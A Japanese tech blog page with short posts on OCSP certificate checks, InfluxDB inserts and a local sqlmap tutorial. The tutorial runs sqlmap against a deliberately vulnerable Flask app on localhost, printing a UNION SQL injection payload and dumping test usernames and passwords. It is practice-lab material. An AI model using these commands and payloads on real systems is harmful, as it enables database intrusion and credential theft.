Posted at: 2018-08-11 11:13:33  Category: tech


検証の対象は mtcq.jp に設定しているlet's encryptで発行した証明書とします。
まず、サーバー証明書と中間証明書を取得します。
$ openssl s_client -connect mtcq.jp:443 -showcerts -servername mtcq.jp < /dev/null
CONNECTED(00000003)
depth=2 O = Digital Signature Trust Co., CN = DST Root CA X3
verify return:1
depth=1 C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
verify return:1
depth=0 CN = mtcq.jp
verify return:1
---
Certificate chain
0 s:/CN=mtcq.jp
i:/C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3
-----BEGIN CERTIFICATE-----
MIIGQzCCBSugAwIBAgISBJBaaXurBnqEhF0ONls5dijxMA0GCSqGSIb3DQEBCwUA
MEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQD
ExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzAeFw0xODA3MDgxMzE5MTlaFw0x
ODEwMDYxMzE5MTlaMBIxEDAOBgNVBAMTB210Y3EuanAwggEiMA0GCSqGSIb3DQEB
AQUAA4IBDwAwggEKAoIBAQCpYPkIx0uKtE2+oLX7lDaz1c/Dl0vD8aoa9fC2LrXC
6kyd0lJQGMaNp9Mo+6fGbGx3Ap4w6d2duhdfAiioRDIpy/qH2aCaOXROfJ7zZqN/
4OFHdjq5dRZHehOKvr195isi2zD4aESoYar8BjsvCQw0ixdYRvNKefCTTl21IsmM
hVU3RBbry4VjLrrlu9nUal3k50rQZqs3SOWR1ytmUZCf4WQJXvl23GKT0slnX8cV
PYGXpwhF1vZlNwhlFar4Jn6JlWb3qUlYhzOvSd6wRQDxN84wwdxVDLyhY3QL+Yml
DEHFUlFDmu3LeyV6DM2PrPT65hkr1jCY9iaMdJTdQDK3AgMBAAGjggNZMIIDVTAO
BgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwG
A1UdEwEB/wQCMAAwHQYDVR0OBBYEFJ7Z/X8ZwiPebMtrQcmnSjkRdYEwMB8GA1Ud
IwQYMBaAFKhKamMEfd265tE5t6ZFZe/zqOyhMG8GCCsGAQUFBwEBBGMwYTAuBggr
BgEFBQcwAYYiaHR0cDovL29jc3AuaW50LXgzLmxldHNlbmNyeXB0Lm9yZzAvBggr
BgEFBQcwAoYjaHR0cDovL2NlcnQuaW50LXgzLmxldHNlbmNyeXB0Lm9yZy8wXAYD
VR0RBFUwU4IQZmlzaHN0YXQubXRjcS5qcIIMbWFpbC5tdGNxLmpwggdtdGNxLmpw
gg1zdGF0cy5tdGNxLmpwggx3aXBzLm10Y3EuanCCC3d3dy5tdGNxLmpwMIH+BgNV
HSAEgfYwgfMwCAYGZ4EMAQIBMIHmBgsrBgEEAYLfEwEBATCB1jAmBggrBgEFBQcC
ARYaaHR0cDovL2Nwcy5sZXRzZW5jcnlwdC5vcmcwgasGCCsGAQUFBwICMIGeDIGb
VGhpcyBDZXJ0aWZpY2F0ZSBtYXkgb25seSBiZSByZWxpZWQgdXBvbiBieSBSZWx5
aW5nIFBhcnRpZXMgYW5kIG9ubHkgaW4gYWNjb3JkYW5jZSB3aXRoIHRoZSBDZXJ0
aWZpY2F0ZSBQb2xpY3kgZm91bmQgYXQgaHR0cHM6Ly9sZXRzZW5jcnlwdC5vcmcv
cmVwb3NpdG9yeS8wggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgApPFGWVMg5Zbqq
UPxYB9S3b79Yeily3KTDDPTlRUf0eAAAAWR6QttqAAAEAwBHMEUCIQCKU6VSPBZ0
/lnoQunuUIr0qhf0I0/gW0zAC8w/o0CGGgIgWEV2ywCCSAJa0Ikgpd2E41RHI5TM
UOOTF/ZEvQZxJ2AAdgBVgdTCFpA2AUrqC5tXPFPwwOQ4eHAlCBcvo6odBxPTDAAA
AWR6Qtx1AAAEAwBHMEUCIF78JHMPeYmuOpCnnlZijRqYAu8kIrQQyYkc7cJ8mGXf
AiEAiN7Vg8Hj5JeWJ1ab3EehVdb8D0FwwnhYSbukDMXl8hIwDQYJKoZIhvcNAQEL
BQADggEBAAQjD67RVrH/CfdpbKcgNXD04J4trSFsFqU6i9Or+GTOCkq3kxKSvljG
gJ8XR1Aw5Bwb+1tVNVjt2YAuePw5/kdzLRAWTGLHttBNaXkTiqp9a47W4J3LFLVB
UP/FnHIqyE0UkQungEd2/kY+4Oga4arFA3K63Chq8PALXtJqvcqDmQslNJ4cMsdl
/Wb/GjFxSt8qaqA7hzCl0FPZy50Hy5Si1Zr4+Ow0YA+ilLgZj/4pL+GiE4p8BBRc
O0m+6/4qVe9cQUAvva8DXMAgbNRoZ4D6XBvnJHimbi1ijDj1TDMVnZoMGWegOmyy
ODwbH2oGMU4r0CsJ+xwwI63trdcPDP0=
-----END CERTIFICATE-----
1 s:/C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3
i:/O=Digital Signature Trust Co./CN=DST Root CA X3
-----BEGIN CERTIFICATE-----
MIIEkjCCA3qgAwIBAgIQCgFBQgAAAVOFc2oLheynCDANBgkqhkiG9w0BAQsFADA/
MSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT
DkRTVCBSb290IENBIFgzMB4XDTE2MDMxNzE2NDA0NloXDTIxMDMxNzE2NDA0Nlow
SjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUxldCdzIEVuY3J5cHQxIzAhBgNVBAMT
GkxldCdzIEVuY3J5cHQgQXV0aG9yaXR5IFgzMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAnNMM8FrlLke3cl03g7NoYzDq1zUmGSXhvb418XCSL7e4S0EF
q6meNQhY7LEqxGiHC6PjdeTm86dicbp5gWAf15Gan/PQeGdxyGkOlZHP/uaZ6WA8
SMx+yk13EiSdRxta67nsHjcAHJyse6cF6s5K671B5TaYucv9bTyWaN8jKkKQDIZ0
Z8h/pZq4UmEUEz9l6YKHy9v6Dlb2honzhT+Xhq+w3Brvaw2VFn3EK6BlspkENnWA
a6xK8xuQSXgvopZPKiAlKQTGdMDQMc2PMTiVFrqoM7hD8bEfwzB/onkxEz0tNvjj
/PIzark5McWvxI0NHWQWM6r6hCm21AvA2H3DkwIDAQABo4IBfTCCAXkwEgYDVR0T
AQH/BAgwBgEB/wIBADAOBgNVHQ8BAf8EBAMCAYYwfwYIKwYBBQUHAQEEczBxMDIG
CCsGAQUFBzABhiZodHRwOi8vaXNyZy50cnVzdGlkLm9jc3AuaWRlbnRydXN0LmNv
bTA7BggrBgEFBQcwAoYvaHR0cDovL2FwcHMuaWRlbnRydXN0LmNvbS9yb290cy9k
c3Ryb290Y2F4My5wN2MwHwYDVR0jBBgwFoAUxKexpHsscfrb4UuQdf/EFWCFiRAw
VAYDVR0gBE0wSzAIBgZngQwBAgEwPwYLKwYBBAGC3xMBAQEwMDAuBggrBgEFBQcC
ARYiaHR0cDovL2Nwcy5yb290LXgxLmxldHNlbmNyeXB0Lm9yZzA8BgNVHR8ENTAz
MDGgL6AthitodHRwOi8vY3JsLmlkZW50cnVzdC5jb20vRFNUUk9PVENBWDNDUkwu
Y3JsMB0GA1UdDgQWBBSoSmpjBH3duubRObemRWXv86jsoTANBgkqhkiG9w0BAQsF
AAOCAQEA3TPXEfNjWDjdGBX7CVW+dla5cEilaUcne8IkCJLxWh9KEik3JHRRHGJo
uM2VcGfl96S8TihRzZvoroed6ti6WqEBmtzw3Wodatg+VyOeph4EYpr/1wXKtx8/
wApIvJSwtmVi4MFU5aMqrSDE6ea73Mj2tcMyo5jMd6jmeWUHK8so/joWUoHOUgwu
X4Po1QYz+3dszkDqMp4fklxBwXRsW10KXzPMTZ+sOPAveyxindmjkW8lGy+QsRlG
PfZ+G6Z6h7mjem0Y+iWlkYcV4PIWL1iwBi8saCbGS5jN2p8M+X+Q7UNKEkROb3N6
KOqkqm57TH2H3eDJAkSnh6/DNFu0Qg==
-----END CERTIFICATE-----
これらを server.crt、intermediate.crt として保存しておきます。
つづいて、server.crt からOCSPのアクセス先を取得します。
$ cat server.crt | openssl x509 -noout -text | grep -i ocsp
OCSP - URI:http://ocsp.int-x3.letsencrypt.org

そして、取得したURIに対してOCSPリクエストを投げます。
$ openssl ocsp   -no_nonce   -issuer intermediate.crt   -cert server.crt   -url http://ocsp.int-x3.letsencrypt.org   -text
OCSP Request Data:
Version: 1 (0x0)
Requestor List:
Certificate ID:
Hash Algorithm: sha1
Issuer Name Hash: 7EE66AE7729AB3FCF8A220646C16A12D6071085D
Issuer Key Hash: A84A6A63047DDDBAE6D139B7A64565EFF3A8ECA1
Serial Number: 04905A697BAB067A84845D0E365B397628F1
OCSP Response Data:
OCSP Response Status: successful (0x0)
Response Type: Basic OCSP Response
Version: 1 (0x0)
Responder Id: C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3
Produced At: Aug 10 14:19:00 2018 GMT
Responses:
Certificate ID:
Hash Algorithm: sha1
Issuer Name Hash: 7EE66AE7729AB3FCF8A220646C16A12D6071085D
Issuer Key Hash: A84A6A63047DDDBAE6D139B7A64565EFF3A8ECA1
Serial Number: 04905A697BAB067A84845D0E365B397628F1
Cert Status: good
This Update: Aug 10 14:00:00 2018 GMT
Next Update: Aug 17 14:00:00 2018 GMT

Signature Algorithm: sha256WithRSAEncryption
22:4e:49:cc:19:8b:12:68:53:8f:ee:c5:08:87:05:ca:9a:7d:
3d:5a:5a:aa:4d:e7:a7:8b:88:80:9f:e8:e7:29:fc:5a:af:b6:
7e:b2:d2:2b:55:6b:82:6f:fa:18:c2:ce:d5:09:03:ef:a0:8d:
db:65:58:5c:6e:16:3d:8f:4c:52:b2:1c:db:55:03:cb:d3:3f:
7c:e4:38:ef:30:33:d8:b6:e9:51:3b:a9:1b:0c:d0:46:aa:80:
10:9d:e1:af:0c:97:11:2f:28:3e:4b:89:de:7e:2c:81:e3:b5:
bf:5f:0c:b9:18:87:dd:6a:a5:63:32:81:90:8f:09:aa:1b:79:
61:3e:2b:af:df:37:b1:a9:ad:ec:b2:5c:99:70:78:2f:e9:27:
a3:87:5f:22:a4:d6:92:17:83:d9:05:be:fe:dd:df:77:7f:4d:
5a:44:b1:64:a8:b2:82:ad:ce:79:0c:1b:f8:a4:41:53:0a:b4:
5b:ec:df:87:88:7c:c0:1e:38:df:9e:b2:f7:c2:a4:01:d7:db:
94:7f:f5:cf:d8:2c:d9:33:4f:c8:b6:ed:6b:38:e9:fc:c3:7c:
50:36:53:29:84:a0:90:3e:d5:19:82:b2:1a:c3:d6:8d:9f:f3:
c0:4a:9c:42:c7:2c:8e:8d:19:a0:9d:96:ce:ad:d1:1c:99:24:
2d:e0:6d:03
Response verify OK
server.crt: good
This Update: Aug 10 14:00:00 2018 GMT
Next Update: Aug 17 14:00:00 2018 GMT

Cert Statusとしてgoodが返却されました。
Posted at: 2018-08-09 09:04:44  Category: tech


InfluxDBへhttp postをすればファイルに保存した複数のレコードを
一度に挿入できますが、うまくいかなかったのでメモ。

結論からいうと、insert対象のレコードがそれぞれ一意なタイムスタンプを
持っていなかったのでうまくいっていませんでした。

インサートしようとした内容は以下.結果として、最後の一行しか書き込まれない事象が起きた。
$ cat data.txt
temperature,region=tokyo value=31.516168
temperature,region=tokyo value=28.430662
temperature,region=tokyo value=27.914824
temperature,region=tokyo value=34.814496
temperature,region=tokyo value=27.507572
temperature,region=tokyo value=29.429653
temperature,region=tokyo value=31.257767
temperature,region=tokyo value=32.952796
$ curl -XPOST --data-binary @data.txt http://localhost:8086/write?db=testdb
InfulxDBでは、プライマリキーをタイムスタンプとタグセットの集合で扱う。
上記データだと、タグセットはregion=tokyoのみ。しかもタイムスタンプは省略しているので、
全て同じタイムスタンプがInfluxDB側で採番される。
既存のプライマリキーに対するinsertは自動的にvalueが上書きされる様なので、最後の一件しか書き込まれないこととなった。
Posted at: 2018-08-09 08:30:12  Category: tech


デフォルトで8083ポートで可視化や管理等できるアプリが立ち上がると聞いていたのですが、
バージョン1.3.0からなくなったようです。8083 port not working

対象機能は、Chronografという別のプロダクトが担うようです。


Posted at: 2018-08-02 08:51:17  Category: tech

sqlmapでSQL Injectionを試してみる

タイトル通りです。sqlmapというSQL Injection攻撃を実行できるツールで
脆弱なウェブアプリに対して試してみたいと思います。

まず、脆弱なウェブアプリを動かします。
意図的にSQL Injectionが実行できるアプリをPythonのflaskででっち上げます。
DBはMaria DBです。


$ python app.py
* Serving Flask app "app" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: on
* Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger PIN: 257-973-851

立ち上げたアプリはクエリパラメータを取りません。
http://localhost:8080/search/1
パス、/search/以下の値をsqlのwhere句にぶち込みます。いわゆるcleanなurlです。
まず、db一覧を取得してみます。--dbsでdb一覧を取得します。
アスタリスク(*)をつけることで、injectionのテストをする部分を指定することができます。
$ sqlmap -u 'http://localhost:8080/search/1*' 
--technique=U
--dbs
_
___ ___| |_____ ___ ___ {1.0.4.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org



[*] starting at 00:30:26

---
Parameter: #1* (URI)
Type: UNION query
Title: MySQL UNION query (28) - 3 columns
Payload: http://localhost:8080/search/1 UNION ALL SELECT 28,28,CONCAT(0x71706a7071,0x4870594a4d784f79554b7351455a5567626341745057424c5951416f6d526a6f696a5245514f4d46,0x71626b6b71)#
---

[00:31:42] [INFO] testing MySQL
[00:31:42] [INFO] confirming MySQL
[00:31:42] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[00:31:42] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] sqlmap_test_db

information_schemaとsqlmap_test_dbがあることが分かりました。

つづいて、sqlmap_test_dbに対してテーブル一覧を取得してみます。

$ sqlmap -u 'http://localhost:8080/search/1*' 
--technique=U
-D sqlmap_test_db
--tables
_
___ ___| |_____ ___ ___ {1.0.4.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org



[*] starting at 00:33:54

custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[00:34:02] [INFO] resuming back-end DBMS 'mysql'
[00:34:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: MySQL UNION query (28) - 3 columns
Payload: http://localhost:8080/search/1 UNION ALL SELECT 28,28,CONCAT(0x71706a7071,0x4870594a4d784f79554b7351455a5567626341745057424c5951416f6d526a6f696a5245514f4d46,0x71626b6b71)#
---
[00:34:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[00:34:02] [INFO] fetching tables for database: 'sqlmap_test_db'
Database: sqlmap_test_db
[2 tables]
+-----------+
| hogefuga |
| user_info |
+-----------+


hogefugaとuser_infoテーブルがあることが分かりました。

つづいて、user_info テーブルのカラム一覧を取得してみます。
$ sqlmap -u 'http://localhost:8080/search/1*' 
--technique=U
-D sqlmap_test_db
-T user_info
--columns
_
___ ___| |_____ ___ ___ {1.0.4.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org



[*] starting at 00:35:43

custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[00:35:45] [INFO] resuming back-end DBMS 'mysql'
[00:35:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: MySQL UNION query (28) - 3 columns
Payload: http://localhost:8080/search/1 UNION ALL SELECT 28,28,CONCAT(0x71706a7071,0x4870594a4d784f79554b7351455a5567626341745057424c5951416f6d526a6f696a5245514f4d46,0x71626b6b71)#
---
[00:35:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[00:35:45] [INFO] fetching columns for table 'user_info' in database 'sqlmap_test_db'
Database: sqlmap_test_db
Table: user_info
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| password | varchar(50) |
| userid | int(11) |
| username | varchar(30) |
+----------+-------------+


usernameとか、passwordというカラムがあることが分かりました。
最後に、対象のテーブルで当該カラムの値の一覧を取得します。

$ sqlmap -u 'http://localhost:8080/search/1*' 
--technique=U
-D sqlmap_test_db
-T user_info
-C username,password
--dump
_
___ ___| |_____ ___ ___ {1.0.4.0#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org



[*] starting at 00:37:41

custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[00:37:43] [INFO] resuming back-end DBMS 'mysql'
[00:37:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: MySQL UNION query (28) - 3 columns
Payload: http://localhost:8080/search/1 UNION ALL SELECT 28,28,CONCAT(0x71706a7071,0x4870594a4d784f79554b7351455a5567626341745057424c5951416f6d526a6f696a5245514f4d46,0x71626b6b71)#
---
[00:37:43] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[00:37:43] [INFO] fetching entries of column(s) 'password, username' for table 'user_info' in database 'sqlmap_test_db'
[00:37:43] [INFO] analyzing table dump for possible password hashes
Database: sqlmap_test_db
Table: user_info
[3 entries]
+----------+----------+
| username | password |
+----------+----------+
| piyo | 1234 |
| foo | 5678 |
| bar | 91011 |
+----------+----------+


テーブルの値まで取得できました。
Posted at: 2018-06-04 07:13:18  Category: tech


タイトルの通りです。以下のような感じで複数のグラフを配置します。
displayがinline-blockなグラフを作るだけでオッケイです。